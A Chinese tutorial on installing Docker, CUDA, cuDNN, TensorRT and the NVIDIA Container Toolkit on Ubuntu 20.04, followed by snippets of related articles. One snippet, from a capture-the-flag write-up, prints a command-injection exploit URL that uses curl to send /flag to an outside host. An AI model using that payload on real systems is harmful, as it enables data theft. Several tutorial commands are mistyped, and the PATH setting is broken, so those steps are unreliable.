ubuntu 20.0.4 搭建nvidia 顯卡環境

一、安裝docker

1、安裝dokcer

sudo apt install docker.io

2、docker 添加到用戶組

  • 創建docker用戶組
sudo groupadd docker
  • 添加當前用戶加入docker用戶組
sudo usermod -aG docker ${USER}
  • 重啟docker服務
sudo systemctl restart docker
  • 切換或者退出當前賬戶再從新登入
docker ps

如果當前用戶執行無報錯, 則表示用戶已經加到docker組

3、docker 配置阿里云鏡像

vim /etc/docker/daemon.json

daemon.json

{"registry-mirrors": ["https://zfzbet67.mirror.aliyuncs.com"]
}

4、docker 配置漢化工具

  • 拉取鏡像:已經有大神準備好了漢化版的鏡像,無需自己進行繁雜的漢化操作。
docker pull summary/portainer-ce
  • 已有鏡像,加載本地鏡像
    在這里插入圖片描述
dokcer load -i images.tar
  • 啟動鏡像
docker run -d -p 1066:9000 -v /var/run/docker.sock:/var/run/docker.sock --restart=always --name=portainer-ce summary/portainer-ce
  • 登錄docker管理界
http://localhost:1066/
  • 第一次登陸需要注冊
用戶名:admin密碼:123465

5、相關資料

  • 🐕docker網絡基礎知識:https://www.whbblog.cn/446.html
  • 🍰Docker鏡像發布:https://www.whbblog.cn/440.html
  • 🐫Docker容器數據卷:https://www.whbblog.cn/441.html
  • 💃DockerFile構建鏡像:https://www.whbblog.cn/444.html
  • 🕊Docker Compose 容器編排:https://www.whbblog.cn/447.html

二、安裝cuda

  • 執行命令,根據提示按回車即可
sudo chmosd -X cuda_11.2.0_460.27.04_linux.run
suod bash cuda_11.2.0_460.27.04_linux.run
  • 添加到環境變量
sudo vim ~/.baschrc# 	結尾添加
export PATH=/usr/bin:/usr/sbin:/usr/local/cuda-11.2/bin
export LD_LIBRARY_PATH=/usr/local/cuda-11.2/lib64
  • 驗證
nvcc -V # 輸出以下信息安裝成功
nvcc: NVIDIA (R) Cuda compiler driver
Copyright (c) 2005-2020 NVIDIA Corporation
Built on Mon_Nov_30_19:08:53_PST_2020
Cuda compilation tools, release 11.2, V11.2.67
Build cuda_11.2.r11.2/compiler.29373293_0

三、cudnn 安裝

  • 解壓cudnn-linux-x86_64-8.6.0.163_cuda11-archive.tar.xz
tar -xvf cudnn-linux-x86_64-8.6.0.163_cuda11-archive.tar.xz

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-ZG12LLfN-1691460393859)(H:\360MoveData\Users\Administrator\Desktop\顯卡環境安裝包\ubuntu顯卡環境安裝.assets\image-20230808094350495.png)]

  • includelib分別復制到cuda 安裝目錄 下的 includelib
sudo cp -r include/* /usr/local/cuda-11.2/include
sudo cp -r lib/* /usr/local/cuda-11.2/lib64

四、TensorRT 安裝

  • 解壓壓縮包,復制到opt目錄即可
tar -xvf tensorrt-8.2.5.1.linux.x86_64-gnu.cuda-11.4.cudnn8.2.tar.gz
sudo mv TensorRT-8.2.5.1/ /opt
  • 添加到環境變量,可選
sudo vim ~/.baschrc# 	結尾添加
export PATH=/usr/bin:/usr/sbin:/usr/local/cuda-11.2/bin:/opt/TensorRT-8.2.5.1/bin
export LD_LIBRARY_PATH=/usr/local/cuda-11.2/lib64:/opt/TensorRT-8.2.5.1/lib# 更新資源
source ~/.baschrc

五、NVIDIA CONTAINER TOOLKIT 安裝

是一個用于在 NVIDIA GPU 上運行容器應用程序的工具包。它提供了一系列的組件和工具,用于管理和優化 GPU 加速的容器化工作負載。

NVIDIA Docker 運行時(nvidia-docker2):它是一個 Docker 運行時插件,允許容器與宿主機共享 NVIDIA GPU 資源。這使得開發人員可以在容器中輕松地訪問和使用 GPU 加速功能,無需進行復雜的配置。

1、設置NVIDIA容器工具包

  • 安裝curl
sudo apt-get install curl
  • 設置程序包存儲庫和GPG密鑰:
distribution=$(. /etc/os-release;echo $ID$VERSION_ID) \&& curl -fsSL https://nvidia.github.io/libnvidia-container/gpgkey | sudo gpg --dearmor -o /usr/share/keyrings/nvidia-container-toolkit-keyring.gpg \&& curl -s -L https://nvidia.github.io/libnvidia-container/$distribution/libnvidia-container.list | \sed 's#deb https://#deb [signed-by=/usr/share/keyrings/nvidia-container-toolkit-keyring.gpg] https://#g' | \sudo tee /etc/apt/sources.list.d/nvidia-container-toolkit.list

2、安裝nvidia-container-toolkit 程序包(和依賴項):

  • 更新程序列表
sudo apt-get update
  • 安裝
sudo apt-get install -y nvidia-container-toolkit
  • 配置Docker守護程序以識別 NVIDIA Container Runtime:
sudo nvidia-ctk runtime configure --runtime=docker

daemon.json

{"registry-mirrors": ["https://zfzbet67.mirror.aliyuncs.com"],"runtimes": {"nvidia": {"path": "/usr/bin/nvidia-container-runtime","runtimeArgs": []}}
}
  • 重啟docker
sudo systemctl restart docker
  • 測試
sudo docker run --rm --runtime=nvidia --gpus all nvidia/cuda:11.6.2-base-ubuntu20.04 nvidia-smi

輸出一下信息,安裝成功。

+-----------------------------------------------------------------------------+
| NVIDIA-SMI 450.51.06    Driver Version: 450.51.06    CUDA Version: 11.0     |
|-------------------------------+----------------------+----------------------+
| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |
| Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |
|                               |                      |               MIG M. |
|===============================+======================+======================|
|   0  Tesla T4            On   | 00000000:00:1E.0 Off |                    0 |
| N/A   34C    P8     9W /  70W |      0MiB / 15109MiB |      0%      Default |
|                               |                      |                  N/A |
+-------------------------------+----------------------+----------------------++-----------------------------------------------------------------------------+
| Processes:                                                                  |
|  GPU   GI   CI        PID   Type   Process name                  GPU Memory |
|        ID   ID                                                   Usage      |
|=============================================================================|
|  No running processes found                                                 |
+-----------------------------------------------------------------------------+

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/39032.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/39032.shtml
英文地址,請注明出處:http://en.pswp.cn/news/39032.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

openGauss學習筆記-41 openGauss 高級數據管理-匿名塊

文章目錄 openGauss學習筆記-41 openGauss 高級數據管理-匿名塊41.1 語法41.2 參數說明41.3 示例 openGauss學習筆記-41 openGauss 高級數據管理-匿名塊 匿名塊(Anonymous Block)是存儲過程的字塊之一,沒有名稱。一般用于不頻繁執行的腳本或…

NPM與外部服務的集成(下)

目錄 1、撤消訪問令牌 2、在CI/CD工作流中使用私有包 2.1 創建新的訪問令牌 持續整合 持續部署 交互式工作流 CIDR白名單 2.2 將令牌設置為CI/CD服務器上的環境變量 2.3 創建并簽入特定于項目的.npmrc文件 2.4 令牌安全 3、Docker和私有模塊 3.1 背景:運…

了解異或的好處和用途

1.什么是異或? 異或:對于二進制,相同為0 不同為11 ⊕ 1 00 ⊕ 0 01 ⊕ 0 10 ⊕ 1 1 2.異或的好處? 異或的好處?1.快速比較兩個值 2.xor a a例如 a 3 011xor 0110003.可以使用 異或 來使某些特定的位翻轉【原因…

移遠RM500U-CN模塊直連嵌入式ubuntu實現撥號上網

目錄 1 平臺: 2 需要準備的資料 3 參考文檔 4 編譯環境與驅動移植 4.1 內核驅動添加廠家ID和產品ID 4. 2.添加零包處理 4.3 增加復位恢復機制 4.4 增加批量輸出 批量輸出 URB 的數量和容量 的數量和容量 4.5 內核配置與編譯 5 QM500U-CN撥號(在開…

Ubuntu和centos版本有哪些區別

Ubuntu和CentOS是兩個非常流行的Linux發行版,它們在一些方面有一些區別,如下所示: CentOS的版本發布周期相對較長,主要是因為它是基于RedHatEnterpriseLinux(RHEL)的。這意味著在RHEL發布后才能推出對應的CentOS版本。而Ubuntu則在…

春秋云鏡 CVE-2021-21315

春秋云鏡 CVE-2021-21315 systeminformation存在命令注入 靶標介紹 systeminformation是一個簡單的查詢系統和OS信息包。 啟動場景 漏洞利用 exp /api/osinfo?param[]$(curl%20-d%20/flag%20xxx.ceye.io)登錄ceye.io平臺,curl請求 http://eci-2zed871sr7xrdjb…

Lombok的使用及注解含義

文章目錄 一、簡介二、如何使用2.1、在IDEA中安裝Lombok插件2.2、添加maven依賴 三、常用注解3.1、Getter / Setter3.2、ToString3.3、NoArgsConstructor / AllArgsConstructor3.4、EqualsAndHashCode3.5、Data3.6、Value3.7、Accessors3.7.1、Accessors(chain true)3.7.2、Ac…

JavaScript 中常用簡寫技巧總結

平時我們寫代碼時最高級的境界是自己寫的東西別人看不懂!哈哈哈!分享一些自己常用的js簡寫技巧,長期更新,會著重挑選一些實用的簡寫技巧,使自己的代碼更簡潔優雅~ 這里只會收集一些大多數人不知道的用法,但…

MySQL新的版本發布模型 - 創新版本和長支持版本

2023年7月18日,MySQL發布了最新數據庫服務器版本8.1.0,其中變化最大的是MySQL采用了新的版本發布模型。本文是官方博客的中文摘抄和個人理解,原文更精彩: https://blogs.oracle.com/mysql/post/introducing-mysql-innovation-and-longterm-su…

網絡原理(JavaEE初階系列11)

目錄 前言: 1.網絡原理的理解 2.應用層 2.1自定義協議的約定 2.1.1確定要傳輸的信息 2.1.2確定數據的格式 3.傳輸層 3.1UDP 3.1.1UDP報文格式 3.2TCP 3.2.1確認應答 3.2.2超時重傳 3.2.3連接管理 3.2.3.1三次握手 3.2.3.2四次揮手 3.2.4滑動窗口 3.…

bigemap如何添加mapbox地圖?

第一步 打開瀏覽器,找到你要訪問的地圖的URL地址,并且確認可以正常在瀏覽器中訪問;瀏覽器中不能訪問,同樣也不能在軟件中訪問。 以下為常用地圖源地址: 天地圖: http://map.tianditu.gov.cn 包含&…

【SA8295P 源碼分析】75 - QNX GVM Secpol 安全策略文件 gvm_la.txt 內容分析解讀

【SA8295P 源碼分析】75 - QNX GVM Secpol 安全策略文件 gvm_la.txt 內容分析解讀 第一部分、gvm_la_t secpol 類型定義第二部分、gvm_la_t 內存透傳相關配置第三部分、gvm_la_t 中斷透傳相關配置第四部分、gvm_la_t 類型的進程允許通信的所有 secpol 類型系列文章匯總見:《【…

字符串的綜合練習

1、練習-轉換羅馬數字 鍵盤錄入一個字符串 要求1:長度為小于等于9 要求2:只能是數字 將內容變成羅馬數字 下面是阿拉伯數字跟羅馬數字的對比關系: Ⅰ-1 Ⅱ-2 Ⅲ-3 Ⅳ-4 Ⅴ-5 Ⅵ-6 Ⅶ-7 Ⅷ-8 Ⅸ-9 注意點:羅馬數字里面沒有0的&…

51單片機的管腳介紹

圖文介紹 純文字說明 單片機管腳相關結構及其作用如下 電源正極引腳 一般接5V電源,為單片機提供正常工作時的電壓。 電源負極引腳 接地。然后才開始工作。 時鐘引腳 18、19腳為時鐘引腳(XTAL2、XTAL1)。單片機內部有大量的數字電路&a…

SringBoot-響應

響應數據 如何加載響應數據呢 其實在SpringBoot,已經有名為RessponseBody的方法注解為我們提供的響應的方法,他的作用是將方法返回值直接響應,如果返回值類型為實體對象/集合,則會轉換為JSON格式響應。 而RestController已經在內…

Java真實面試題,offer已到手

關于學習 在黑馬程序員剛剛開始的時候學習盡頭非常足,到后面逐漸失去了一些興趣,以至于后面上課會出現走神等問題,但是畢業時后悔晚矣。等到開始學習項目一的時候,思路總會比別人慢一些,不看講義寫不出來代碼。 建議…

Lie group 專題:Lie 群

Lie group 專題:Lie 群 流形 流形的定義 一個m維流形是滿足以下條件的集合M:存在可數多個稱為坐標卡(圖集)的子集合族.以及映到的連通開子集上的一對一映射,,稱為局部坐標映射,滿足以下條件 坐標卡覆蓋M…

【Sklearn】基于多層感知器算法的數據分類預測(Excel可直接替換數據)

【Sklearn】基于多層感知器算法的數據分類預測(Excel可直接替換數據) 1.模型原理2.模型參數3.文件結構4.Excel數據5.下載地址6.完整代碼7.運行結果1.模型原理 多層感知器(Multilayer Perceptron,MLP)是一種前饋神經網絡,用于解決分類和回歸問題。它包含輸入層、若干個隱…

【數學建模】--灰色關聯分析

系統分析: 一般的抽象系統,如社會系統,經濟系統,農業系統,生態系統,教育系統等都包含有許多種因素,多種因素共同作用的結果決定了該系統的發展態勢。人們常常希望知道在眾多的因素中,哪些是主要…

leetcode 面試題 02.05 鏈表求和

?? 題目描述 🌟 leetcode鏈接:面試題 02.05 鏈表求和 ps: 首先定義一個頭尾指針 head 、tail,這里的 tail 是方便我們尾插,每次不需要遍歷找尾,由于這些數是反向存在的,所以我們直接加起來若…